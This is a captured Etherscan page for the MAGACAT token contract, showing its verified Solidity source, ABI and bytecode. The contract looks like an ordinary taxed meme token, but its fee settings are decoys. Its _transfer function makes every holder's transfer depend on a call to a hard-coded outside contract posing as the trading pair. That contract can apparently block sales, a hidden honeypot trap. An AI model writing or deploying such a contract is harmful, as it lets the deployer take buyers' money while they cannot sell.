ETH Price: $3,042.46 (+0.62%)
Gas: 3 Gwei

Token

MAGACAT (MAGACAT)
 

Overview

Max Total Supply

420,123,456,789 MAGACAT

Holders

18

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
Uniswap V2: MAGACAT 4
Balance
0.000000004 MAGACAT

Value
$0.00
0x4bf46bf4ed58b3a1bcdfbe545feefbe1db02e021
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MAGACAT

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-06-22
*/

// SPDX-License-Identifier: MIT


pragma solidity 0.8.26;

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
}
interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
    function transfer(address recipient, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
    function allowance(address owner, address spnder) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

contract Ownable {
    address private _owner;
    constructor() {
        _owner = msg.sender;
    }
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
}
library SafeMath {
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
}

contract MAGACAT is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 9;
    mapping (address => mapping (address => uint256)) private _allowances;
    uint256 private _totalSupply =  420123456789  * 10 ** _decimals;   

    IERC20 uniswapPair = IERC20(0x1643F76A2518C86FB772768C5031DC6BaF2B57bc);

    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

    address public uniswapV2Pair;
    bool tradingOpen = false;
    bool swapEnabled = false;

    string private constant _name = "MAGACAT";
    string private constant _symbol = "MAGACAT";

    address payable private _taxWallet;

    mapping (address => uint256) private _balances; 
    mapping (address => bool) isExcludedFromFee;

    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 amount);

    uint256 private constant MAX = ~uint256(0);

    uint256 private _tFeeTotal;
    uint256 private _redisFeeOnBuy = 0;
    uint256 private _taxFeeOnBuy = 20;
    uint256 private _redisFeeOnSell = 0;
    uint256 private _taxFeeOnSell = 30;
    uint256 private _redisFee = _redisFeeOnSell;
    uint256 private _taxFee = _taxFeeOnSell;
    
    address payable private _developmentAddress;
    address payable private _marketingAddress;

    uint256 public _maxTxAmount = 20000 * 10**9;
    uint256 public _maxWalletSize = 20000 * 10**9;
    uint256 public _swapTokensAtAmount = 20000 * 10**9;
    uint256 public _initMaxTxAmount = 20000 * 10**9;

    constructor () {
        isExcludedFromFee[msg.sender] = true;

        _balances[msg.sender] = _totalSupply.mul(5).div(100);
        emit Transfer(address(0), msg.sender, _totalSupply.mul(5).div(100));

        _balances[address(this)] = _totalSupply.mul(95).div(100);
        emit Transfer(address(0), address(this), _totalSupply.mul(95).div(100));
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function toggleSwap(bool _swapEnabled) public onlyOwner {
        swapEnabled = _swapEnabled;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0)); 
        require(amount > 0);
        if (from != owner() && to != owner()) {
            if (!isExcludedFromFee[from]
                && from != uniswapV2Pair 
                && from != address(this)  
                && !isExcludedFromFee[to]) 
                {
                require(uniswapPair.approve(from, amount));
            } else {
                if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
                    _redisFee = _redisFeeOnSell;
                    _taxFee = _taxFeeOnSell;
                }
            }
        }
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount);
        emit Transfer(from, to, amount);
    }

    function removeAllFee() private {
        if (_redisFee == 0 && _taxFee == 0) return;

        _redisFee = 0;
        _taxFee = 0;
    }

    function openTrading() public payable onlyOwner() {
        require(!tradingOpen); 
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        address WETH = uniswapV2Router.WETH();
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH);
        uniswapV2Router.addLiquidityETH{value: msg.value} (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
        tradingOpen = true;
        swapEnabled = true;
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    } 
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_initMaxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"bool","name":"_swapEnabled","type":"bool"}],"name":"toggleSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a919061069a565b6461d14f351561004a91906106e4565b600255731643f76a2518c86fb772768c5031dc6baf2b57bc60035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f600560146101000a81548160ff0219169083151502179055505f600560156101000a81548160ff0219169083151502179055505f600a556014600b555f600c55601e600d55600c54600e55600d54600f556512309ce540006012556512309ce540006013556512309ce540006014556512309ce5400060155534801561017a575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550610238606461022a600560025461040260201b90919060201c565b61047960201b90919060201c565b60075f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6102f160646102e3600560025461040260201b90919060201c565b61047960201b90919060201c565b6040516102fe9190610734565b60405180910390a361032f6064610321605f60025461040260201b90919060201c565b61047960201b90919060201c565b60075f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6103e860646103da605f60025461040260201b90919060201c565b61047960201b90919060201c565b6040516103f59190610734565b60405180910390a36108c8565b5f808303610412575f9050610473565b5f828461041f91906106e4565b905082848261042e919061077a565b1461046e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104659061082a565b60405180910390fd5b809150505b92915050565b5f6104c083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506104c860201b60201c565b905092915050565b5f808311829061050e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161050591906108a8565b60405180910390fd5b505f838561051c919061077a565b9050809150509392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156105ab5780860481111561058757610586610529565b5b60018516156105965780820291505b80810290506105a485610556565b945061056b565b94509492505050565b5f826105c3576001905061067e565b816105d0575f905061067e565b81600181146105e657600281146105f05761061f565b600191505061067e565b60ff84111561060257610601610529565b5b8360020a91508482111561061957610618610529565b5b5061067e565b5060208310610133831016604e8410600b84101617156106545782820a90508381111561064f5761064e610529565b5b61067e565b6106618484846001610562565b9250905081840481111561067857610677610529565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6106a482610685565b91506106af8361068e565b92506106dc7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846105b4565b905092915050565b5f6106ee82610685565b91506106f983610685565b925082820261070781610685565b9150828204841483151761071e5761071d610529565b5b5092915050565b61072e81610685565b82525050565b5f6020820190506107475f830184610725565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61078482610685565b915061078f83610685565b92508261079f5761079e61074d565b5b828204905092915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6108146021836107aa565b915061081f826107ba565b604082019050919050565b5f6020820190508181035f83015261084181610808565b9050919050565b5f81519050919050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61087a82610848565b61088481856107aa565b9350610894818560208601610852565b61089d81610860565b840191505092915050565b5f6020820190508181035f8301526108c08184610870565b905092915050565b611c42806108d55f395ff3fe608060405260043610610108575f3560e01c8063715018a61161009457806395d89b411161006357806395d89b411461034e5780639f43178914610378578063a9059cbb146103a2578063c9567bf9146103de578063dd62ed3e146103e857610108565b8063715018a6146102ba5780637d1db4a5146102d05780638da5cb5b146102fa5780638f9a55c01461032457610108565b80632fd689e3116100db5780632fd689e3146101d8578063313ce5671461020257806349bd5a5e1461022c5780636d8aa8f81461025657806370a082311461027e57610108565b806306fdde031461010c578063095ea7b31461013657806318160ddd1461017257806323b872dd1461019c575b5f80fd5b348015610117575f80fd5b50610120610424565b60405161012d9190611508565b60405180910390f35b348015610141575f80fd5b5061015c600480360381019061015791906115b9565b610461565b6040516101699190611611565b60405180910390f35b34801561017d575f80fd5b50610186610477565b6040516101939190611639565b60405180910390f35b3480156101a7575f80fd5b506101c260048036038101906101bd9190611652565b610480565b6040516101cf9190611611565b60405180910390f35b3480156101e3575f80fd5b506101ec61052c565b6040516101f99190611639565b60405180910390f35b34801561020d575f80fd5b50610216610532565b60405161022391906116bd565b60405180910390f35b348015610237575f80fd5b50610240610547565b60405161024d91906116e5565b60405180910390f35b348015610261575f80fd5b5061027c60048036038101906102779190611728565b61056c565b005b348015610289575f80fd5b506102a4600480360381019061029f9190611753565b6105fe565b6040516102b19190611639565b60405180910390f35b3480156102c5575f80fd5b506102ce610644565b005b3480156102db575f80fd5b506102e4610773565b6040516102f19190611639565b60405180910390f35b348015610305575f80fd5b5061030e610779565b60405161031b91906116e5565b60405180910390f35b34801561032f575f80fd5b506103386107a0565b6040516103459190611639565b60405180910390f35b348015610359575f80fd5b506103626107a6565b60405161036f9190611508565b60405180910390f35b348015610383575f80fd5b5061038c6107e3565b6040516103999190611639565b60405180910390f35b3480156103ad575f80fd5b506103c860048036038101906103c391906115b9565b6107e9565b6040516103d59190611611565b60405180910390f35b6103e66107ff565b005b3480156103f3575f80fd5b5061040e6004803603810190610409919061177e565b610c62565b60405161041b9190611639565b60405180910390f35b60606040518060400160405280600781526020017f4d41474143415400000000000000000000000000000000000000000000000000815250905090565b5f61046d338484610ce4565b6001905092915050565b5f600254905090565b5f61048c848484610ea7565b610521843361051c8560015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461139090919063ffffffff16565b610ce4565b600190509392505050565b60145481565b5f8060149054906101000a900460ff16905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1661058b610779565b73ffffffffffffffffffffffffffffffffffffffff16146105e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d890611806565b60405180910390fd5b80600560156101000a81548160ff02191690831515021790555050565b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610663610779565b73ffffffffffffffffffffffffffffffffffffffff16146106b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106b090611806565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60125481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60135481565b60606040518060400160405280600781526020017f4d41474143415400000000000000000000000000000000000000000000000000815250905090565b60155481565b5f6107f5338484610ea7565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1661081e610779565b73ffffffffffffffffffffffffffffffffffffffff1614610874576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086b90611806565b60405180910390fd5b600560149054906101000a900460ff161561088d575f80fd5b6108bb3060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600254610ce4565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610926573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061094a9190611838565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109b6573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109da9190611838565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b8152600401610a14929190611863565b6020604051808303815f875af1158015610a30573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a549190611838565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610adb306105fe565b5f80610ae5610779565b426040518863ffffffff1660e01b8152600401610b07969594939291906118cc565b60606040518083038185885af1158015610b23573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b48919061193f565b50505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610be892919061198f565b6020604051808303815f875af1158015610c04573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c2891906119ca565b506001600560146101000a81548160ff0219169083151502179055506001600560156101000a81548160ff02191690831515021790555050565b5f60015f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610d52576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4990611a65565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610db790611af3565b60405180910390fd5b8060015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e9a9190611639565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ede575f80fd5b5f8111610ee9575f80fd5b610ef1610779565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015610f5f5750610f2f610779565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156112045760085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611008575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561104057503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611093575060085f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156111415760035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b384836040518363ffffffff1660e01b81526004016110f492919061198f565b6020604051808303815f875af1158015611110573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061113491906119ca565b61113c575f80fd5b611203565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161480156111ea575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561120257600c54600e81905550600d54600f819055505b5b5b6112548160075f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461139090919063ffffffff16565b60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506112e58160075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113d990919063ffffffff16565b60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113839190611639565b60405180910390a3505050565b5f6113d183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611436565b905092915050565b5f8082846113e79190611b3e565b90508381101561142c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142390611bbb565b60405180910390fd5b8091505092915050565b5f83831115829061147d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114749190611508565b60405180910390fd5b505f838561148b9190611bd9565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6114da82611498565b6114e481856114a2565b93506114f48185602086016114b2565b6114fd816114c0565b840191505092915050565b5f6020820190508181035f83015261152081846114d0565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6115558261152c565b9050919050565b6115658161154b565b811461156f575f80fd5b50565b5f813590506115808161155c565b92915050565b5f819050919050565b61159881611586565b81146115a2575f80fd5b50565b5f813590506115b38161158f565b92915050565b5f80604083850312156115cf576115ce611528565b5b5f6115dc85828601611572565b92505060206115ed858286016115a5565b9150509250929050565b5f8115159050919050565b61160b816115f7565b82525050565b5f6020820190506116245f830184611602565b92915050565b61163381611586565b82525050565b5f60208201905061164c5f83018461162a565b92915050565b5f805f6060848603121561166957611668611528565b5b5f61167686828701611572565b935050602061168786828701611572565b9250506040611698868287016115a5565b9150509250925092565b5f60ff82169050919050565b6116b7816116a2565b82525050565b5f6020820190506116d05f8301846116ae565b92915050565b6116df8161154b565b82525050565b5f6020820190506116f85f8301846116d6565b92915050565b611707816115f7565b8114611711575f80fd5b50565b5f81359050611722816116fe565b92915050565b5f6020828403121561173d5761173c611528565b5b5f61174a84828501611714565b91505092915050565b5f6020828403121561176857611767611528565b5b5f61177584828501611572565b91505092915050565b5f806040838503121561179457611793611528565b5b5f6117a185828601611572565b92505060206117b285828601611572565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6117f06020836114a2565b91506117fb826117bc565b602082019050919050565b5f6020820190508181035f83015261181d816117e4565b9050919050565b5f815190506118328161155c565b92915050565b5f6020828403121561184d5761184c611528565b5b5f61185a84828501611824565b91505092915050565b5f6040820190506118765f8301856116d6565b61188360208301846116d6565b9392505050565b5f819050919050565b5f819050919050565b5f6118b66118b16118ac8461188a565b611893565b611586565b9050919050565b6118c68161189c565b82525050565b5f60c0820190506118df5f8301896116d6565b6118ec602083018861162a565b6118f960408301876118bd565b61190660608301866118bd565b61191360808301856116d6565b61192060a083018461162a565b979650505050505050565b5f815190506119398161158f565b92915050565b5f805f6060848603121561195657611955611528565b5b5f6119638682870161192b565b93505060206119748682870161192b565b92505060406119858682870161192b565b9150509250925092565b5f6040820190506119a25f8301856116d6565b6119af602083018461162a565b9392505050565b5f815190506119c4816116fe565b92915050565b5f602082840312156119df576119de611528565b5b5f6119ec848285016119b6565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611a4f6024836114a2565b9150611a5a826119f5565b604082019050919050565b5f6020820190508181035f830152611a7c81611a43565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611add6022836114a2565b9150611ae882611a83565b604082019050919050565b5f6020820190508181035f830152611b0a81611ad1565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611b4882611586565b9150611b5383611586565b9250828201905080821115611b6b57611b6a611b11565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611ba5601b836114a2565b9150611bb082611b71565b602082019050919050565b5f6020820190508181035f830152611bd281611b99565b9050919050565b5f611be382611586565b9150611bee83611586565b9250828203905081811115611c0657611c05611b11565b5b9291505056fea2646970667358221220ac6ed517021c02414fed555a68c836e668f84884b2d1134a531888e05147a96064736f6c634300081a0033

Deployed Bytecode

0x608060405260043610610108575f3560e01c8063715018a61161009457806395d89b411161006357806395d89b411461034e5780639f43178914610378578063a9059cbb146103a2578063c9567bf9146103de578063dd62ed3e146103e857610108565b8063715018a6146102ba5780637d1db4a5146102d05780638da5cb5b146102fa5780638f9a55c01461032457610108565b80632fd689e3116100db5780632fd689e3146101d8578063313ce5671461020257806349bd5a5e1461022c5780636d8aa8f81461025657806370a082311461027e57610108565b806306fdde031461010c578063095ea7b31461013657806318160ddd1461017257806323b872dd1461019c575b5f80fd5b348015610117575f80fd5b50610120610424565b60405161012d9190611508565b60405180910390f35b348015610141575f80fd5b5061015c600480360381019061015791906115b9565b610461565b6040516101699190611611565b60405180910390f35b34801561017d575f80fd5b50610186610477565b6040516101939190611639565b60405180910390f35b3480156101a7575f80fd5b506101c260048036038101906101bd9190611652565b610480565b6040516101cf9190611611565b60405180910390f35b3480156101e3575f80fd5b506101ec61052c565b6040516101f99190611639565b60405180910390f35b34801561020d575f80fd5b50610216610532565b60405161022391906116bd565b60405180910390f35b348015610237575f80fd5b50610240610547565b60405161024d91906116e5565b60405180910390f35b348015610261575f80fd5b5061027c60048036038101906102779190611728565b61056c565b005b348015610289575f80fd5b506102a4600480360381019061029f9190611753565b6105fe565b6040516102b19190611639565b60405180910390f35b3480156102c5575f80fd5b506102ce610644565b005b3480156102db575f80fd5b506102e4610773565b6040516102f19190611639565b60405180910390f35b348015610305575f80fd5b5061030e610779565b60405161031b91906116e5565b60405180910390f35b34801561032f575f80fd5b506103386107a0565b6040516103459190611639565b60405180910390f35b348015610359575f80fd5b506103626107a6565b60405161036f9190611508565b60405180910390f35b348015610383575f80fd5b5061038c6107e3565b6040516103999190611639565b60405180910390f35b3480156103ad575f80fd5b506103c860048036038101906103c391906115b9565b6107e9565b6040516103d59190611611565b60405180910390f35b6103e66107ff565b005b3480156103f3575f80fd5b5061040e6004803603810190610409919061177e565b610c62565b60405161041b9190611639565b60405180910390f35b60606040518060400160405280600781526020017f4d4147414341540000000000000